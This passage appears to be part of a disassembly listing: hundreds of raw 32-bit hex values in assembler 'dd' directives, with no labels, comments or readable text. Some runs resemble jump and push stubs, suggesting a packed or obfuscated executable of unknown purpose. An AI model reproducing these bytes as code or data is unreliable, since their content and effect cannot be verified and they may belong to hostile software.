0A6C2BD9Ch dd 0A919E6h, 0A2DF0000h, 0FE181E44h, 0CB63DB24h, 1323050Dh dd 0C78DEE73h, 0C7D3DE51h, 0E841050Dh, 3508D88Eh, 0F26F77DDh dd 0FE48CE94h, 2611CBE8h, 0F349BC9h, 1B214979h, 58F2A8CDh dd 0BABCE0C1h, 6E3A170Ah, 379CBDBEh, 545C0935h, 0A31BE4BEh dd 0E3050354h, 906933D3h, 4499E1B7h, 96243D6Bh, 540910D6h dd 899BFDEh, 644B0000h, 2301DC24h, 9CF8157Dh, 56AFA2CAh dd 0A67FA02h, 6BE7365Eh, 21491F78h, 7B83D52Ch, 0B6DE84E6h dd 0CD157B5Bh, 0F145B652h, 0B103010Ah, 17E54B21h, 8C1B8F96h dd 6E3416FBh, 0BE9B6626h, 774F82EAh, 0A263D921h, 0B9181E44h dd 0D359F359h, 0FEA98DE0h, 0E2FC51A5h, 420242B4h, 0B1E2E00Ah dd 0E78F181Bh, 53D90F31h, 1DDC5B45h, 0D36BD4D9h, 9303019Dh dd 82E67BA3h, 7A2A5ADCh, 5E4BE86h, 10AA7A2Eh, 0A681F07Eh dd 4802B04h, 0B399F944h, 0F4A6A8ABh, 71900301h, 38CCDA22h dd 0F4AEF71Dh, 0B6E2FF52h, 0D0581516h, 98A80938h, 41176FC2h dd 74854481h, 0E29179F0h, 1AE5BFE4h, 9CF722BDh, 7FF0D62Bh dd 85C13761h, 0FBABDB5Dh, 6F393F07h, 8B663C79h, 0D09623ABh dd 9D77B60Bh, 0CEFB555h, 9AF7D7ACh, 1BA39C36h, 5B96C32Ch dd 0F046B16Bh, 0B096C32Ch, 141CC080h, 0D385E37Eh, 0DB612165h dd 4FA86046h, 96C32CF7h, 3F478FB7h, 0A58C422h, 0ACBC8FBDh dd 0BEC25B83h, 7C755084h, 779E786h, 44AB0000h, 361FC04h dd 0FCD8355Dh, 0B68F42AAh, 6A479AE2h, 4B07D63Eh, 0C1297F58h dd 1B63350Ch, 56BEE4C6h, 0EDF55BBBh, 11A59632h, 51030108h dd 43E56BC1h, 0DCB4EF0h, 97F30E05h, 0D71F57C1h, 0AEF71D37h dd 0A9A0BF4h, 0FEA0F31h, 673D6533h, 76C82BCDh, 36030174h dd 0E1C35E0Eh, 0FFD57BFh, 0D513928Eh, 0A7BA6AAFh, 0FB1D1B4Dh dd 0BAECC821h, 17D05B9h, 0AD7D4503h, 9FF97250h, 0AA954FC9h dd 3017D14h, 0FC246C54h, 12C06965h, 0F8958B03h, 6E7h, 6A72D639h dd 0A3CB9DF7h, 0F0184EAEh, 850041Dh, 44ACF8D5h, 0C92AB9B5h dd 0BB9E739Bh, 76508DD5h, 2D05D820h, 0E4801F67h, 108A31Bh dd 0F973E303h, 6C267F95h, 0DC9064CAh, 0DED09579h, 7A02D0Eh dd 1BF60F31h, 0B8EC6A3Eh, 79AD11E2h, 0C5ED0301h, 0B3695905h dd 0CA12785Eh, 0D8722120h, 179D35Fh, 9583B303h, 179A11Ah dd 0FFF5E903h, 0A1F7D128h, 0A52FFFB7h, 0B5E718DEh, 26A5h dd 7C95A300h, 10926D27h, 60050DCBh, 0D565E650h, 9D050DCBh dd 672C33B9h, 2EAFDA67h, 7, 1EC5E2Ah, 0E5DA0000h, 10EC5917h dd 0E2A29FA1h, 0B14B56D4h, 0DD6F046h, 7B55B005h, 0EF25E52Dh dd 4CE6BCF9h, 0C7C644AAh, 3193226Bh, 0D3A7CC2h, 12465D05h dd 0A48C6024h, 1E4607E4h, 8EB60F34h, 4F43A96Bh, 0DC513234h dd 0A3ED4E1Eh, 1B3541Bh, 7FF892C3h, 0A69958DEh, 0CF95F148h dd 0E553631Fh, 0AC850543h, 0E367EF8h, 0F055EB54h, 72CFA099h dd 0E39F4F15h, 0C02039D3h, 0D534CE9Eh, 993705FDh, 6E33509Ch dd 0C1B70F0Ch, 0CFF7ACADh, 84E27F87h, 6C5547DEh, 5DD35F7Fh dd 5AE00h, 491F7600h, 82D42C21h, 0DF89E77Ah, 177D5AB7h dd 633112CFh, 6380FA1Bh, 0D70A5206h, 8944ACFCh, 429FE7ADh dd 79D63E64h, 0FDA5CDFh, 0A9A0301h, 1E44A2B0h, 0D88CE544h dd 4E842E08h, 0DBFC7F15h, 1B0F349Ah, 0F049C32Bh, 1A4ACC92h dd 0F9FF74Ah, 8CB082E9h, 0B2ABD305h, 318322Ch, 4C1568EEh dd 94000005h, 528FD7B1h, 5D82076h, 0F8157D2Bh, 0B0ADB59Bh dd 58F90157h, 0FCA8851Eh, 361A7994h, 81D7332Eh, 0D88EE479h dd 0FA451FB0h, 3010E44h, 0A2269C04h, 0FE181E44h, 0CB63DB24h dd 0D523050Dh, 51D58050h, 3AEA12B6h, 9F99CF27h, 2F09E004h dd 47ADA979h, 0C6DC5FB7h, 0A6EEA690h, 648FF45Eh, 3616AFDBh dd 0D2000000h, 1F1A17E5h, 8CB0B7EFh, 961076DCh, 0EE6BEDB3h dd 579FC78Dh, 23061BBDh, 294EAD7Dh, 0E90F3447h, 5EDC5FD9h dd 16030A67h, 0F057BA32h, 0B7B5E216h, 5Ah, 0E07F95BDh dd 69288775h, 8C20A5Ah, 34AAC72Fh, 2BCD670Fh, 0A9176C8h dd 0D0E3603h, 30A91A9h, 0FB91D9E9h, 345C0266h, 0A917AC7h dd 263D1C03h, 39158472h, 0CA2E236Bh, 1979C484h, 74C79933h dd 30A91C2h, 1F18B282h, 30A91A7h, 0C70FDFE7h, 0FE782E0Ah dd 45A9Fh, 4E52500h, 54BAE2Dh, 0E8ED5BDDh, 13FA4DB7h, 24001D45h dd 6A78D272h, 62D4829Ch, 0C920FA22h, 0F6BEB8ECh, 4CBEE908h dd 0C58542BEh, 0D2C73C3Fh, 8FB70F34h, 0B12A0889h, 590D0B51h dd 3C962711h, 0A2F311B8h, 0CA0A0FE8h, 4A7A0933h, 0F55BB990h dd 0C2203D55h, 86BC69Ch, 74AE8858h, 27894E86h, 624BD3E6h dd 0EB433711h, 208D800h, 7AC59FC4h, 0F34AA41h, 0D98FE401h dd 0F1C9A791h, 0CF0363FBh, 0AA4CA6Ch, 72BA8A03h, 482C06Ah dd 9F357D2Bh, 52F2A082h, 381BF688h, 0ECA6EE68h, 0AA4AB13h dd 0BDBEB03h, 33F98328h, 0BB812309h, 136526ACh, 873F3C1Bh dd 0C7050D7Ch, 3C1DB7FFh, 0C0847224h, 3721774Dh, 0C849AF7Fh dd 0D4B2A4EAh, 0D3859F72h, 65612165h, 0D99AC88Fh, 219B3003h dd 7B1D0F34h, 0A4E46F8h, 6E3E0603h, 6E3A17F2h, 6C74BCE8h dd 0D07A5BB6h, 3B175392h, 56C00872h, 93F34E1Eh, 0DC3A17CDh dd 4C48076h, 3F19F022h, 4BA4B969h, 30921B1Dh, 9EC422BCh dd 0FDA6AC76h, 55E7D427h, 9FA70933h, 74DA3899h, 189CE482h dd 88421371h, 0D0B51B1h, 0EB08359h, 4E050D5Bh, 231CA666h dd 0F34521Eh, 0E155A678h, 0A1030A5Ch, 250DF191h, 0A92200DDh dd 58DE064Ah, 46699F9h, 1A79D85Eh, 5C84C036h, 2026CC14h dd 6D07D973h, 0A5C2C92h, 84446C03h, 330F1AA7h, 5AC5A09h dd 0ECCF98FAh, 5DDE5880h, 50D82DDh dd 0E43BB195h, 0AC7C2805h, 0DAB06126h, 4428AFh, 952C0000h dd 295FE07Fh, 0FF7154C6h, 0BBD2E271h, 0F63ECD01h, 50AAE35Ch dd 7A4A0F34h, 50BF03FCh, 93F7030Ah, 936C0619h, 30A502Bh dd 0C18B5B6Bh, 0B5E20682h, 0CA09h, 3412EF00h, 3F55BBBh dd 691D1B43h, 44A2C3B9h, 0CB0BB38Ch, 7B4B050Dh, 7B54C533h dd 48AE2B2Dh, 0AD851402h, 515C9FE7h, 0C3050DC7h, 0D442086Eh dd 31276D45h, 0F0D04D75h, 2CFCA8AEh, 43ABF1D1h, 4C1270C9h dd 77CA9ACAh, 15CF491Fh, 0BC3CD527h, 411B7024h, 0D0540F6h dd 90300005h, 5DF7ACBAh, 3426D5E2h, 355D650Fh, 0E6BCF9EFh dd 35F84C15h, 0DE74BC09h, 2A326643h, 231CDA37h, 503909Bh dd 7BF75DBAh, 9E0A034Bh, 9C09111Bh, 1F9C7A6h, 0C42B0000h dd 83E17C84h, 7C58B5DDh, 360FC22Ah, 0EAC71A62h, 0CB8756BEh dd 41A9FFD8h, 9BE3B58Ch, 0D63E6446h, 6D75DB3Bh, 912516B2h dd 0D1030103h, 41A2EB41h, 3016CB13h, 0E5A8026Ah, 0AC7C2A04h dd 99336066h, 34C1E99Eh, 3F39090Fh, 0AC1FEBCh, 5A52B603h dd 0E17590F7h, 0DEEC52B5h, 0F5FCA3ECh, 11EA2EA5h, 0A2659D2Fh dd 2AB70FE8h, 0CFF7030Bh, 0C3001Fh, 0A2C40000h, 0BBEDCB44h dd 0E05309BDh, 50DCB5Eh, 68EE161Eh, 5ED88CE9h, 0DC7D2DDh dd 0EB2F0705h, 0DCFB608h, 14CEF605h, 0DCF932Bh, 0BBE3D305h dd 662808E1h, 0CFEB53ACh, 9BAB050Dh, 684E83CBh, 74923422h dd 0BD8A752Fh, 2B0F34ECh, 0FFAFF5D6h, 712B3303h, 66B0938Bh dd 1C1AF6Eh, 0C298DD0Bh, 352CC771h, 89437309h, 693F1AF7h dd 1AE7A7EFh, 0CE036B39h, 4CAEA7EDh, 160910F2h, 1057D10h dd 0C8DF0000h, 0BF954890h, 704C81E9h, 2203DE26h, 9EFB167Eh dd 0D793A2CAh, 5DA5F3CCh, 97FFA180h, 224A187Ah, 7981D72Fh dd 8D3102A6h, 0CD030102h, 41A2EF45h, 0BF51CB13h, 0DCBFABCh dd 0DA8ABA05h, 0D1396F47h, 0D844A25Bh, 5BBC1FF9h, 6DC040Fh dd 3AE57338h, 5ABA51F4h, 2204C40Ch, 0E1095FB7h, 0B2680D5Bh dd 41F54618h, 1050D7Bh, 79929131h, 0D90F31BBh, 94F26FE9h dd 0EF693F1Bh, 0D4421072h, 6A206890h, 6DEBBD97h, 0AB616939h dd 7E2E7456h, 5BDD83E3h, 8ECFA5E0h, 25041C18h, 83C787CDh dd 0FE715129h, 242B49Ah, 721F8B1Ch, 0CEF60F39h, 58DB3514h dd 782C2A7Ch, 548C630h, 0FD82A8DFh, 91F9A9D1h, 0C630667Ch dd 7C167A5Bh, 65D3819Dh, 1A876121h, 70E1573Dh, 48CB4D13h dd 0F31DA20Ah, 1D7505EFh, 72E45AA5h, 9CA41478h, 72C175C6h dd 0B1811478h, 96EC6189h, 0E1573D15h, 0E2FB7DA5h, 3, 0A2FF791Eh dd 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h, 0C455C395h, 0DEBBBDEBh dd 30A197FDh, 0E8B8DD3h, 63FE782Eh, 32D95F01h, 6EFF68h dd 48F5400h, 24048324h, 3EC06804h, 34890000h, 0E7895724h dd 4C781h, 0EF830000h, 243C8704h, 2404895Ch, 4BE068h, 240C8900h dd 5E201FB9h, 9FEBBE61h, 0CE01A4AEh, 42756859h, 24890000h dd 24048324h, 0BB535804h, 8, 4298EB81h, 0C3011D7Eh, 4298C381h dd 33891D7Eh, 24048B5Bh, 81E28952h, 4C2h, 4C28300h, 5C241487h dd 5324348Bh, 0C381E389h, 4, 4C381h, 1C870000h, 43E95C24h dd 0A4FFFAB2h, 0B5A585F0h, 0CCAA7B8h, 0FFC50306h, 0BCE0E1E0h dd 95B5890Eh, 2B22164Eh, 6E832h, 9DB0000h, 8A0CC40Eh, 0B416BB66h dd 0B860F5Ah, 0F000000h, 58Fh, 0E6816600h, 0C2815BD8h dd 6882h, 2BCADF80h, 0EE8FFh, 0B69F0000h, 1A5BAB71h, 7F0BFF31h dd 3C141B54h, 58F08B66h, 8B3A0C8Bh, 0DBC181DAh, 66133E25h dd 0E981C28Bh, 42F38D67h, 0D8B70F56h, 4FC1815Eh, 8B1DEF41h dd 0B45751F2h, 48F5ED5h, 0B9B8663Ah, 8DBB6696h, 3EF83E7h dd 12E9h, 6908500h, 73D3B8F8h, 6F62651Bh, 8C860E5Bh, 4F549B1Eh dd 0DBE18060h, 6197DA80h, 9838FF81h, 850FFFFFh, 0Ch, 1BE9h dd 0DEF66D00h, 20980B8Ah, 0E9DAB70Fh, 0FFFFFF8Ch, 50F8EEAAh dd 6C70374Bh, 0CBDAC72Dh, 0CCCE8D8Dh, 6A060Ch, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0EF9FF8C3h, 1B18CE6Fh, 0C18589A8h, 89060706h, 718C59Dh dd 418D8906h, 8B06071Bh, 715499Dh, 585C706h, 9C060706h dd 6A00005Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 6637C352h, 858B4318h, 6072D85h dd 6985C7h, 607h, 880F0000h, 8, 0B19D8B52h, 5E060730h dd 1E19B5FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0FFD6C7C3h, 701E195h, 0F2B70F06h dd 95FF006Ah, 6073201h, 9EBC08Bh, 5E48E020h, 0C82EE016h dd 8F8D8D7Fh, 66060CCDh, 89893EBEh, 71B418Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0A46258DEh, 88E1491Dh, 0D9BF0FA1h, 60585C7h, 62000607h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0C9BC9DC3h, 0C7FC7D53h, 7006985h, 6, 0E5858B00h dd 0FF060729h, 73041B5h, 0E195FF06h, 6A060701h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0DBDC353h, 0A65B4762h, 6840F83h, 9000000h, 71A89B5h dd 0FF006A06h, 7320195h, 0EBC08B06h, 7E89195Ah, 461F3091h dd 0F92971A4h, 0FBE9F991h, 0BA3BEF2h, 6CCAC8B3h, 780AF2EFh dd 0A72B5B7Ah, 39391B67h, 0F3F9ABBFh, 528C9AAFh, 5633A7F7h dd 0D9CB338Ah, 0BC5B35CFh, 80A8556Fh, 8CEAEC6Dh, 65564482h dd 4A85DFFFh, 2607D6E9h, 0A965AC1h, 9820CA24h, 0A76F7E1Fh dd 0E921C0FBh, 0ABh, 3F2E8D50h, 5F72B11Ch, 0A7ACABDAh dd 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h, 0B1F46BB2h dd 20752096h, 6BB79B55h, 92A5BCF2h, 7594A196h, 0B799603Ah dd 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh, 4E0097B1h dd 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h, 0F653F545h dd 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h, 756BBF97h dd 0BFCF60FDh, 93BCF996h, 207D20B2h, 0ABF79B57h, 9EBD9492h dd 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh dd 0ED7293BCh, 0E80097B3h, 94E7A601h, 0D783323Dh, 0E9594AB0h dd 136Dh, 0CD0D468h, 0AECCE906h, 0B968FFFAh, 0E9060CD1h dd 0FFFAAEC2h, 0CD2A468h, 0AEB8E906h, 3F68FFFAh, 0E9060CD4h dd 0FFFAAEAEh, 0CD4CA68h, 0AEA4E906h, 8F68FFFAh, 0E9060CD5h dd 0FFFAAE9Ah, 0CD62F68h, 0AE90E906h, 0DE68FFFAh, 0E9060CD6h dd 0FFFAAE86h, 0CD7DD68h, 0AE7CE906h, 1368FFFAh, 0E9060CD9h dd 0FFFAAE72h, 0CD9FC68h, 0AE68E906h, 9A68FFFAh, 0E9060CDBh dd 0FFFAAE5Eh, 0CDC9D68h, 0AE54E906h, 7368FFFAh, 0E9060CDEh dd 0FFFAAE4Ah, 0CDF7668h, 0AE40E906h, 0B49BFFFAh, 73518CD4h dd 2C08C52Dh, 0E6FF127Ah, 5AB7AAB2h, 1B57E60Eh, 91F9AF88h dd 2B33657Ch, 668ED436h, 0BDC58BEBh, 41F546E2h, 1030104h dd 96613B91h, 3010420h, 0CAB05060h, 181E44A2h, 0C22659B9h dd 77EA9A9Ch, 0FB034B1Dh, 0A6E8C821h, 0FE54F4B0h, 7F11CBE8h dd 8C182F1h, 0B5F16729h, 0A9B5CA4Bh, 0CCC17AF9h, 0B1810F34h dd 0BA22061Bh, 0F11406Ch, 2E285052h dd 0CF40A666h, 30ABD73h, 34227052h, 0F9DA48A5h, 5FC7A0C7h dd 0A8C63078h, 93575C50h, 75D235BFh, 79B5E1CEh, 32D284E0h dd 3A2Dh, 7F952B00h, 0DA936C26h, 3A0F34C1h, 2F930C0Ah dd 67030AC1h, 5BB68963h, 0B49AFE7Dh, 0ADA0242h, 0E1750340h dd 4761CFB5h, 0BE553EBAh, 39421ACCh, 0C07A8337h, 0F83F00h dd 0A2C50000h, 0B9181E44h, 93C1DD5Ch, 3E8073A5h, 7E050DCBh dd 50C60E36h, 0BDBBE1C1h, 4890C6DCh, 0DC73E8Bh, 2516A805h dd 50DC891h, 8BDD34D1h, 58BE8343h, 1F77EAF2h, 6F65CF49h dd 52AE9C36h, 191B2BD0h, 8B391FEh, 0F53D8D16h, 53F58F55h dd 16257FEDh, 0F46736ECh, 50D9842h, 9863DB24h, 1323050Dh dd 0B4B7575Fh, 0F34CC5Bh, 5E577FCDh, 0DB4731CAh, 0E16F97F9h dd 0C55382AAh, 16CA9ADFh, 0D63CC62Eh, 0C23DD78Dh, 30A8F7Ch dd 3C19F43Ch, 11E2B868h, 93553BFh, 0D130CF3Dh, 0AEB0D8C9h dd 0EDE064Ch, 51A86252h, 0C014E674h, 902B9FF9h, 0F0CD0068h dd 0B5ECADA4h, 0B2A80910h, 1082DBh, 491F7600h, 82D42C21h dd 0DF89E77Ah, 177D5AB7h, 633112CFh, 6380FA1Bh, 0D70A5206h dd 8944ACFCh, 429FE7ADh, 79D63E64h, 1BDA5CDFh, 0A9A0301h dd 1341A2B0h, 6A3016CBh, 7F95A802h, 0CBF34BB4h, 83B3050Dh dd 0F1B6815Bh, 110F34C1h, 6B43721h, 27030AC1h, 29F99CFh dd 1C877127h, 4B8F6E46h, 0AF44EE5Ch, 3F13D71Fh, 0B8F552B5h dd 0ACBCB5E1h, 0B8000000h, 7E2804E5h, 2D7353AEh, 74DAE2Bh dd 0C7159E11h, 0EEC4050Dh, 67FA50B8h, 0ADD95F09h, 5C0260FDh dd 1A4EAB86h, 0BEB8681Ch, 1670FE14h, 0F1421840h, 0F349C14h dd 0DE749CA4h, 309F6D50h, 95881EB7h, 3A6AECB8h, 0F1A2A06Ah dd 49A8815Bh, 0B5551107h, 35DA65B6h, 4DAE8309h, 0B5551107h dd 0CE23F9C9h, 825FA7EDh, 451AF3A1h, 0F7091113h, 0F9D1C71h dd 341B0000h, 0F3D10C54h, 0AC8845ADh, 667F92FAh, 0DA372A32h dd 9BD7668Eh, 11792F08h, 0ABB3E5FCh, 0E60E54B6h, 3D450B6Bh dd 0C175C662h, 8103011Ah, 41A29B11h, 3016CB13h, 0A2A8026Ah dd 0B9181E44h, 8759F359h, 0DCB02B4h, 0D2724205h, 1F49A7BAh dd 0DE88E445h, 0FA7C2C58h, 951071Fh, 1573081Fh, 0ECA98A40h dd 1C0F34EFh, 88B0E4C1h, 844DEE6Dh, 0D5B78B4h, 1218B268h dd 8FE5BF20h, 5C08650Ah, 0A862AADAh, 8065F74Fh, 0DF8FB7F4h dd 0B931535Ch, 0F641E3FEh, 0F2874940h, 0DD8BE500h, 1DB76D95h dd 87499C22h, 0C579FAF2h, 85F28749h, 51F1C1BDh, 4E177DD7h dd 0CE15AB94h, 99A9F8B9h, 5F37DC3h, 0E9B97DFEh, 0C9F9F48Dh dd 0C4B06F47h, 45A47E04h, 906D3D6Bh, 0E21B2AB2h, 0FE4E41FEh dd 53B3AEB6h, 0D959140Dh, 51D7179Eh, 0EB23Ch, 792F0600h dd 0B2E4FC11h, 0F59B7AAh, 470D6AE7h, 93C1223Fh, 33B0AA4Bh dd 0E77A82D6h, 59B4DC8Ch, 12CF177Dh, 89066E34h, 19AA0CEFh dd 7AEA0301h, 1E44A280h, 0DB24FE18h, 50DCB63h, 0BAE0C623h dd 0C008BCh, 0CD87DC0Ah, 3499E572h, 0F7AD950Fh, 0EEBE4709h dd 8B5B5E08h, 0AABB943h, 6D1AE750h, 5AFC0933h, 0D6E65D9h dd 386E4405h, 0CAFA763Eh, 0A98B661Ah, 9FB9BFE7h, 5B0D64C5h dd 14AAA9DDh, 54050D6Eh, 0CB91F16Ch, 6EA2181Bh, 0A683050Dh dd 0B89504F2h, 16FC6AECh, 0D10E8BA8h, 2A820425h, 7EDE185h dd 0DB614300h, 49CAAFh, 950E0000h, 936C267Fh, 0F34BD7Bh dd 0D831EBDBh, 9340A8FEh, 30A8629h, 0CA90F64Bh, 792F071Ah dd 882E09A3h, 0C8030A86h, 9385D32Dh, 93FBABD3h, 0A1F01C7Eh dd 0CD0164CDh, 0A13C3A62h, 0DC7h, 60D621FBh, 20030ABAh dd 0E58A7010h, 0F87E2804h, 217751CCh, 65AF7F37h, 0A39C366Fh dd 0F313DA9h, 50E651EBh, 10030105h, 61FC6020h, 73295107h dd 37D7BD9Eh, 0BE65CB6Dh, 4254671Bh, 0F0D62BFBh, 0DD5EF0AAh dd 301A259h, 0BB371978h, 0E0287E5Eh, 9F722820h, 70240184h dd 0C686CE86h, 0C3351B7Bh, 98326361h, 3D54349Fh, 0EAA09009h dd 439FEA50h, 0C8530572h, 0D9CD76Fh, 67AF9705h, 0FC7239F9h dd 8A5A7819h, 0E1095FB7h, 0D640166Ch, 84D02D0Ch, 7CC96DCEh dd 0B989050Dh, 702523E9h, 5EBC59DAh, 240C0F34h, 17EE8A2Dh dd 0B9D44A03h, 0D17h, 0B6DE8A9Dh, 0CF17795Bh, 1C643212h dd 54BCE0C1h, 0E0085CB9h, 0AD8E1551h, 67429FE7h, 0DA342931h dd 89E9648Ch, 40E4BBC3h, 11F4FF7h, 2D870F03h, 0DCBFEBCh dd 0B9FAE805h, 3DA510E3h, 21110F31h, 3A1F856Bh, 7CA6D786h dd 0DB3B16ACh, 92F06D75h, 0DD3B16CCh, 9D98D8Bh, 3F14F52Fh dd 2261EF69h, 721DBF2h, 1C36D61Eh, 5DF7ADF6h, 1EB4E2FCh dd 105991Dh, 39E9D903h, 3857AD3Ah, 7CD5DD09h, 9138945h dd 8C607DF3h, 6800000Ch, 263B4305h, 99749CC2h, 4C81E9BFh dd 4D92177h, 0C4157D2Bh, 683C198Ah, 0A2F6CD00h, 0FDAB875Ah dd 341A7895h, 66D1732Ch, 3011FD0h, 0E5AA0090h, 0A9792F04h dd 72287E54h, 64D2869Fh, 5C866020h, 0B9BFE5FDh, 0E2C05D0Dh dd 0E909BABCh, 0F5DE2C03h, 0F155AC6Dh, 0EF543EEEh, 0F3AFDB33h dd 9F8EF60Dh, 9A4AFD15h, 6E485h, 7F954300h, 17936C26h dd 670F313Dh, 49E3855Fh, 54C294F0h, 59B2310h, 0EBDB0301h dd 570C631h, 300301h, 0BFE5FD40h, 0A00FFD57h, 85787913h dd 5E86CC2Eh, 0CB53B38Eh, 0C0CCAB65h, 0E1579FDAh, 1BDCC6Eh dd 0D78CDA03h, 0EF55C23Dh, 1D250938h, 14418704h, 0CEAFA509h dd 0BC7h, 668EDA2Dh, 0BFC789EBh, 0CC1442A2h, 46C3011h dd 50B8ECC9h, 0FDDEC581h, 0B7924F97h, 6A4499E1h, 0D939D43Ch dd 10B46B73h, 11E9F27h, 0FD77DF03h, 0EACB44A2h, 0CCF4B0A6h dd 89DF3B16h, 3AEABC94h, 1F455D3Ch, 0A0146E19h, 0DA66DAB9h dd 637A1AFh, 0AA870000h, 5410064Ch, 0FEBCCEB4h, 98050DCBh dd 2DFDA381h, 1EB4E1E7h, 313D651Dh, 0F7AD950Fh, 0E563C1Ah dd 0DC6BF3D3h, 873BB502h, 0F84ACCF4h, 7913C9EAh, 1E838FEh dd 98487803h, 0BAE471C2h, 0AC940938h, 147420B5h, 766DC09h dd 0B27h, 86EEBA8Dh, 0DF27694Bh, 6C742202h, 0A4CC90F1h dd 0F0184CA9h, 5DBE2521h, 1772EFF7h, 0CA243941h, 0B999749Ch dd 70148BD3h, 11D3F87h, 1D977F03h, 4EA943E5h, 50DCBE8h dd 239B98A8h, 63050DCBh, 0F8BEB953h, 0B8050DCBh, 6D45D888h dd 2E9F6D27h, 7555D33Bh, 96E1CD2Ch, 78E1D7A8h, 0F3D34EA8h dd 9AF8ABADh, 50480F12h, 7ACFAFDBh, 15000005h, 6C267F95h dd 313DC293h, 0DB35140Fh, 0ECB2908Dh, 0F66A3A6Ah, 0DD3514CEh dd 94F26F77h, 0DD3514CEh, 0DE51D777h, 301055Ch, 8D471C4Ah dd 385725B2h, 0F46D5509h, 91388EBh, 785A3329h, 7C00000Ah dd 3AD73F69h, 0ED6088DEh, 0A0BDC593h, 18F51D43h, 0F001693Fh dd 44106D76h, 9EC2213Ch, 0E9BF9B76h, 20764C81h, 52AD47D8h dd 3011DECh, 0A24E24ACh, 0FE181E44h, 0B0500063h, 5AC955ADh dd 0A35A3316h, 4A1C74E9h, 44E24802h, 0FC42BD8Fh, 0BC050DE5h dd 0C0528A74h, 883B3DEDh, 15AF826Ah, 0D0F942Ah, 3CECD405h dd 0DB2AF156h, 31CFDAFh, 0C6AAB555h, 0AE000004h, 4EF043E5h dd 0E050DCBh, 30856626h, 26050DCBh, 40D97320h, 4C3A3C62h dd 3E7B96A6h, 1DCDF528h, 0E35FAD47h, 0FCA8856Eh, 0ED1A6272h dd 0FC72C437h, 232050Dh, 0A97E142h, 24050F31h, 0D69E98CEh dd 0FE84A36h, 30132B7h, 16EAB096h, 32FB43BCh, 8BBB0301h dd 0E8411B43h, 0A1BCC48Ah dd 0AF411B41h, 132EA4Ch, 0CA9AAA03h, 0D78CDA6Ch, 26989B3Dh dd 66030132h, 0BF48E5Eh, 9381CA6h, 0C6273E06h, 620913A8h dd 97991ECh, 687F0000h, 0DF352830h, 90EC6189h, 42A3BEC6h dd 3E1BF61Eh, 77F3026Ah, 3D45136Ch, 779FC120h, 82EAB89Ah dd 0D921774Fh, 0ED51A246h, 0AD03011Ch, 44A24F25h, 59B9181Eh dd 0C09205F3h, 6E3412ECh, 6BD7BC06h, 5C5EAFDAh, 9A000001h dd 181E44A2h, 0EBF359B9h, 77C00341h, 50DCBCFh, 0A57FA78Fh dd 3498E15Ah, 0FB91A10Fh, 8D5D0366h, 0FA8A30ABh, 0CEC2030Ah dd 982463E6h, 53AEB5E1h, 7E362070h, 3A51AEh, 49B70000h dd 2866E18Fh, 0D85ED924h, 98030AA3h, 3AA060A8h, 6C267F95h dd 34C1DA93h, 7B2E1C0Fh, 0F5541E79h, 93A35F0Fh, 39902AA5h dd 0C4D8030Ah, 5D2A69F0h, 0C0F1B5E2h, 77000000h, 181E44A2h dd 0E085CB9h, 6BEDB393h, 0BAC288EEh, 0D9E38B9h, 83C92905h dd 812363C9h, 0B2289D86h, 0C920FA12h, 64BEB8ECh, 0DC5239Bh dd 2B536305h, 336F5A25h, 0AB7B84E4h, 98326361h, 3279C09Fh dd 2D071A0Fh, 19C9FD7Bh, 0ED875D65h, 1686631Fh, 0CD9D46D2h dd 8B411770h, 79C194A5h, 9949EE06h, 839C71h, 0C0847224h dd 0E72F754Dh, 15BB896Eh, 0D8B5AB03h, 843h, 0E20A5EB1h dd 3B43156Fh, 4890C626h, 80E8BC95h, 0DC24704Dh, 41A2413Dh dd 3316CB13h, 0EEC8056Dh, 0A5BD50B8h, 9C3897FFh, 1121BA3h dd 71CB5B03h, 0CB1341A2h, 0B06A3016h, 22147859h, 2DC984A4h dd 89B1399Eh, 0E53BB1D9h, 61BC2C04h, 0ACC414A4h, 91D5438Bh dd 40166CF1h, 0D32D0CD6h, 33D39385h, 0C882C82Eh, 81411771h dd 2976849h, 95900000h, 936C267Fh, 0F34EF6Ah, 239C9AAAh dd 30AD09Fh, 16F9F3D7h, 0B5E18631h, 259F8h, 0E6FD5C00h dd 0D3A44CB2h, 0D3CD607Dh, 0C5BC4933h, 0EF050DCBh, 15E6BCF9h dd 0F313D65h, 6AC79DA5h, 643E460Ch, 7BFDAB85h, 0A0869B4Bh dd 47DA7CFAh, 8C383E6Ah, 431076DCh, 0D909F789h, 0E7E3BC67h dd 7FF9AF89h, 0DC5F0F37h, 938C84Fh, 603612EFh, 7CD42138h dd 9A900914h, 75AC3h, 11775E00h, 6A3C14C9h, 0A7F1CF02h dd 0FFA5825Fh, 4B197A97h, 4B581223h, 3FD23A6Eh, 0F16C7424h dd 0AAA7CF95h, 21FE064Ch, 1202B487h, 0D2420301h, 0D844A258h dd 91390140h, 5FE75095h, 1F050D38h, 0B1A7EF17h, 0F9AF8A67h dd 8A97377Fh, 0DE2CE6ACh, 1498FCE1h, 0AD8B5B2Bh, 0ED44A82Ah dd 0F462340Ch, 350D10B0h, 0D6BD076Fh, 5DAFDABDh, 18Eh dd 1E44A29Bh, 0CE68F644h, 381C652Dh, 79E74078h, 0DC48BAC5h dd 893B55Eh, 72F494DCh, 0B1D98FE7h, 62387D6Bh, 71E7B18Fh dd 0A8FED835h, 9C26E6AEh, 5E0A67FAh, 370CAD8Eh, 644C0F34h dd 55C179F2h, 9589030Ah, 55B381Fh, 6922B5E2h, 6000000h dd 73D07E38h, 9A4A11F5h, 267F95E0h, 0C1DA936Ch, 3D1C0F34h dd 0C2827420h, 0C1972F08h, 0EFD7030Ah, 0D973433Fh, 27856253h dd 0CF286D95h, 30A9A77h, 7C70F37h, 9A0CAE21h, 